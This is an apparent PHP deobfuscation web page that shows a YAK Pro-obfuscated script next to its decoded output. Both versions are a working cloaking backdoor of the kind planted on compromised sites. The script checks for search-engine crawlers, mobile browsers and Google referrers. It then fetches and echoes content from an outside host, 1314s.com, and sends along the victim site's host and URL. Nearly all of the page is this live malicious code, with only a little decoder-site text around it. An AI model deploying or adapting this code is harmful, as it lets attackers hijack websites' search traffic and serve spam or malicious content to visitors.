Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* __________________________________________________ | Obfuscated by YAK P..

Decoded Output download

<?php 
/*   __________________________________________________ 
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.14  | 
    |              on 2024-04-18 23:58:25              | 
    |    GitHub: https://github.com/pk-fr/yakpro-po    | 
    |__________________________________________________| 
*/ 
goto UKaNI; dOtee: $mGjQ8 = stream_context_create(array("http" => array("header" => "User-Agent: {$sTvi2}"))); goto G4UV2; UKaNI: $sTvi2 = strtolower($_SERVER["HTTP_USER_AGENT"]); goto Fqpef; UpchO: $f_WSz = "{$b90vL}://{$_SERVER["HTTP_HOST"]}"; goto kchkd; FzBQ9: exit; goto AIRs0; IBfsS: $b90vL = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http"; goto UpchO; okJUC: $V5TZu = file_get_contents("http://1314s.com/uru.php?ruay={$WvMsu}&host_name={$Rhf9F}&real={$f_WSz}&rand={$rNG85}", false, $mGjQ8); goto F1DAr; wiLTS: NoXWI: goto GF1Xo; IEWIQ: exit; goto f033q; s10ET: function hDWoF() { goto aIIMz; V3l56: oC0Ep: goto qRBsh; FrIC7: return "Yahoobot"; goto SnX4z; rm7En: return "MSNbot"; goto V3l56; mmzc3: return "moto"; goto ue5Se; CuZVV: X_jMz: goto W8HJ_; Q5gv0: if (!(strpos($VyLnc, "google") !== false)) { goto eDXka; } goto EErf4; pXJPV: if (!(strpos($VyLnc, "Macintosh") !== false)) { goto X_jMz; } goto UDKl1; qRBsh: if (!(strpos($VyLnc, "slurp") !== false)) { goto RTOr6; } goto FrIC7; cGtG4: if (!(strpos($VyLnc, "moto") !== false)) { goto a6raR; } goto mmzc3; xW144: if (!(strpos($VyLnc, "msnbot") !== false)) { goto oC0Ep; } goto rm7En; W8HJ_: return false; goto seIGc; SnX4z: RTOr6: goto cGtG4; aIIMz: $VyLnc = strtolower($_SERVER["HTTP_USER_AGENT"]); goto Q5gv0; vRKSu: eDXka: goto xW144; EErf4: return "Googlebot"; goto vRKSu; ue5Se: a6raR: goto pXJPV; UDKl1: return "Macintosh"; goto CuZVV; seIGc: } goto DQEd7; f033q: goto L97P4; goto wiLTS; AIRs0: HsH6R: goto EZxuc; HkRA7: $WvMsu = $_GET["ruay"]; goto IBfsS; yRqL4: $sk0R3 = hdwof(); goto Knf1n; F1DAr: echo $V5TZu; goto FzBQ9; Knf1n: date_default_timezone_set("Asia/Bangkok"); goto TvuEh; G4UV2: if (!$sk0R3) { goto HsH6R; } goto okJUC; EZxuc: if (preg_match($QfkoW, $sTvi2) && strpos(strtolower($_SERVER["REQUEST_URI"]), "wap") === false && isset($_SERVER["HTTP_REFERER"]) && strpos($_SERVER["HTTP_REFERER"], "google") !== false) { goto NoXWI; } goto EegvE; EegvE: $V5TZu = file_get_contents("http://1314s.com/404.html"); goto vsK_4; vsK_4: echo $V5TZu; goto IEWIQ; Fqpef: $QfkoW = "/(Windows|mini|android|blackberry|googlebot-mobile|iemobile|Mobile|ipad|iphone|ipod|opera mobile|palmos|webos|ucweb|Windows Phone|Symbian|hpwOS)/i"; goto s10ET; kchkd: $Rhf9F = "{$b90vL}://{$_SERVER["HTTP_HOST"]}{$_SERVER["REQUEST_URI"]}"; goto dOtee; DQEd7: function SMcJ1($Nx2QA = 6) { goto Vmv7G; FQcF3: PP_kC: goto q8fGv; dj1B5: $HcptX .= $vMVZi[rand(0, strlen($vMVZi) - 1)]; goto FQcF3; Vmv7G: $vMVZi = "abcdefghijklmnopqrstuvwxyz"; goto zA90M; o2nJN: if (!($HEecd < $Nx2QA)) { goto GYiRn; } goto dj1B5; Wy0xd: I2duf: goto o2nJN; bgKsR: goto I2duf; goto Lm8fN; q8fGv: $HEecd++; goto bgKsR; zA90M: $HcptX = ''; goto rHozj; Fek_N: return $HcptX; goto EE8hL; Lm8fN: GYiRn: goto Fek_N; rHozj: $HEecd = 0; goto Wy0xd; EE8hL: } goto yRqL4; vr6Xb: echo $V5TZu; goto Wplkj; Wplkj: exit; goto B9iDG; GF1Xo: $V5TZu = file_get_contents("http://1314s.com/uru_redirect.php?ruay={$WvMsu}&host_name={$Rhf9F}&real={$f_WSz}&rand={$rNG85}", false, $mGjQ8); goto vr6Xb; TvuEh: $rNG85 = smcJ1(); goto HkRA7; B9iDG: L97P4: ?>

Did this file decode correctly?

Original Code

<?php
/*   __________________________________________________
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.14  |
    |              on 2024-04-18 23:58:25              |
    |    GitHub: https://github.com/pk-fr/yakpro-po    |
    |__________________________________________________|
*/
goto UKaNI; dOtee: $mGjQ8 = stream_context_create(array("\150\164\164\160" => array("\150\x65\141\x64\x65\x72" => "\125\163\145\x72\55\x41\147\x65\156\164\72\x20{$sTvi2}"))); goto G4UV2; UKaNI: $sTvi2 = strtolower($_SERVER["\110\124\124\x50\x5f\x55\x53\x45\x52\x5f\101\107\105\x4e\124"]); goto Fqpef; UpchO: $f_WSz = "{$b90vL}\72\x2f\57{$_SERVER["\x48\x54\124\120\137\x48\x4f\x53\124"]}"; goto kchkd; FzBQ9: exit; goto AIRs0; IBfsS: $b90vL = isset($_SERVER["\110\x54\x54\x50\x53"]) && $_SERVER["\x48\x54\x54\x50\x53"] === "\x6f\x6e" ? "\x68\x74\164\x70\x73" : "\150\x74\x74\x70"; goto UpchO; okJUC: $V5TZu = file_get_contents("\x68\x74\x74\160\72\57\57\x31\63\61\x34\x73\56\x63\x6f\155\57\165\x72\x75\56\160\x68\160\77\162\x75\141\171\x3d{$WvMsu}\46\x68\x6f\163\164\137\156\x61\155\145\75{$Rhf9F}\46\162\x65\141\154\x3d{$f_WSz}\46\x72\141\156\144\x3d{$rNG85}", false, $mGjQ8); goto F1DAr; wiLTS: NoXWI: goto GF1Xo; IEWIQ: exit; goto f033q; s10ET: function hDWoF() { goto aIIMz; V3l56: oC0Ep: goto qRBsh; FrIC7: return "\x59\x61\150\157\157\142\x6f\x74"; goto SnX4z; rm7En: return "\115\x53\116\x62\x6f\164"; goto V3l56; mmzc3: return "\x6d\x6f\x74\157"; goto ue5Se; CuZVV: X_jMz: goto W8HJ_; Q5gv0: if (!(strpos($VyLnc, "\147\157\x6f\x67\x6c\x65") !== false)) { goto eDXka; } goto EErf4; pXJPV: if (!(strpos($VyLnc, "\x4d\141\x63\x69\x6e\164\x6f\163\150") !== false)) { goto X_jMz; } goto UDKl1; qRBsh: if (!(strpos($VyLnc, "\163\154\x75\x72\x70") !== false)) { goto RTOr6; } goto FrIC7; cGtG4: if (!(strpos($VyLnc, "\x6d\157\x74\157") !== false)) { goto a6raR; } goto mmzc3; xW144: if (!(strpos($VyLnc, "\155\x73\x6e\142\157\x74") !== false)) { goto oC0Ep; } goto rm7En; W8HJ_: return false; goto seIGc; SnX4z: RTOr6: goto cGtG4; aIIMz: $VyLnc = strtolower($_SERVER["\x48\124\124\x50\137\125\123\105\x52\x5f\x41\107\105\116\124"]); goto Q5gv0; vRKSu: eDXka: goto xW144; EErf4: return "\107\x6f\157\x67\x6c\x65\142\157\x74"; goto vRKSu; ue5Se: a6raR: goto pXJPV; UDKl1: return "\115\141\143\x69\x6e\164\x6f\163\150"; goto CuZVV; seIGc: } goto DQEd7; f033q: goto L97P4; goto wiLTS; AIRs0: HsH6R: goto EZxuc; HkRA7: $WvMsu = $_GET["\x72\x75\x61\x79"]; goto IBfsS; yRqL4: $sk0R3 = hdwof(); goto Knf1n; F1DAr: echo $V5TZu; goto FzBQ9; Knf1n: date_default_timezone_set("\101\x73\x69\141\57\x42\141\x6e\x67\x6b\157\x6b"); goto TvuEh; G4UV2: if (!$sk0R3) { goto HsH6R; } goto okJUC; EZxuc: if (preg_match($QfkoW, $sTvi2) && strpos(strtolower($_SERVER["\x52\105\121\125\105\x53\124\x5f\x55\122\x49"]), "\167\141\x70") === false && isset($_SERVER["\x48\x54\124\120\137\x52\x45\106\x45\x52\x45\122"]) && strpos($_SERVER["\x48\124\x54\x50\137\122\x45\106\105\x52\x45\x52"], "\147\157\x6f\x67\154\145") !== false) { goto NoXWI; } goto EegvE; EegvE: $V5TZu = file_get_contents("\x68\164\x74\160\x3a\57\x2f\61\x33\x31\64\163\56\x63\157\x6d\x2f\x34\x30\64\56\x68\164\155\154"); goto vsK_4; vsK_4: echo $V5TZu; goto IEWIQ; Fqpef: $QfkoW = "\x2f\50\127\151\x6e\x64\x6f\x77\163\174\x6d\151\x6e\x69\x7c\x61\x6e\x64\x72\157\151\144\174\x62\154\141\143\153\x62\x65\x72\162\171\174\147\157\x6f\x67\x6c\145\142\157\164\x2d\x6d\157\x62\151\154\145\x7c\151\145\x6d\x6f\142\151\154\x65\x7c\115\157\142\x69\x6c\145\x7c\x69\160\x61\144\x7c\x69\x70\150\157\156\x65\174\x69\x70\157\x64\174\x6f\x70\x65\x72\141\40\155\x6f\x62\151\154\x65\174\x70\x61\154\155\x6f\163\x7c\x77\145\x62\x6f\163\x7c\x75\143\167\x65\x62\x7c\127\151\156\144\x6f\167\163\x20\x50\150\x6f\x6e\145\174\123\x79\x6d\142\151\x61\x6e\174\x68\160\167\x4f\x53\51\57\x69"; goto s10ET; kchkd: $Rhf9F = "{$b90vL}\x3a\x2f\x2f{$_SERVER["\110\x54\124\x50\x5f\x48\x4f\x53\124"]}{$_SERVER["\x52\105\121\x55\x45\123\124\137\125\x52\111"]}"; goto dOtee; DQEd7: function SMcJ1($Nx2QA = 6) { goto Vmv7G; FQcF3: PP_kC: goto q8fGv; dj1B5: $HcptX .= $vMVZi[rand(0, strlen($vMVZi) - 1)]; goto FQcF3; Vmv7G: $vMVZi = "\141\x62\143\x64\x65\146\147\150\x69\x6a\x6b\154\x6d\156\157\160\x71\x72\163\164\165\166\167\x78\x79\x7a"; goto zA90M; o2nJN: if (!($HEecd < $Nx2QA)) { goto GYiRn; } goto dj1B5; Wy0xd: I2duf: goto o2nJN; bgKsR: goto I2duf; goto Lm8fN; q8fGv: $HEecd++; goto bgKsR; zA90M: $HcptX = ''; goto rHozj; Fek_N: return $HcptX; goto EE8hL; Lm8fN: GYiRn: goto Fek_N; rHozj: $HEecd = 0; goto Wy0xd; EE8hL: } goto yRqL4; vr6Xb: echo $V5TZu; goto Wplkj; Wplkj: exit; goto B9iDG; GF1Xo: $V5TZu = file_get_contents("\150\164\164\x70\72\57\x2f\61\63\x31\x34\x73\56\143\157\155\57\165\x72\x75\137\162\145\144\151\x72\145\143\164\56\x70\x68\160\77\x72\165\x61\x79\75{$WvMsu}\x26\150\x6f\x73\x74\x5f\156\x61\x6d\145\x3d{$Rhf9F}\x26\162\x65\141\x6c\x3d{$f_WSz}\46\x72\141\x6e\x64\x3d{$rNG85}", false, $mGjQ8); goto vr6Xb; TvuEh: $rNG85 = smcJ1(); goto HkRA7; B9iDG: L97P4:

Function Calls

None

Variables

None

Stats

MD5 7ed3c72411f9b351300edc9069c8a090
Eval Count 0
Decode Time 64 ms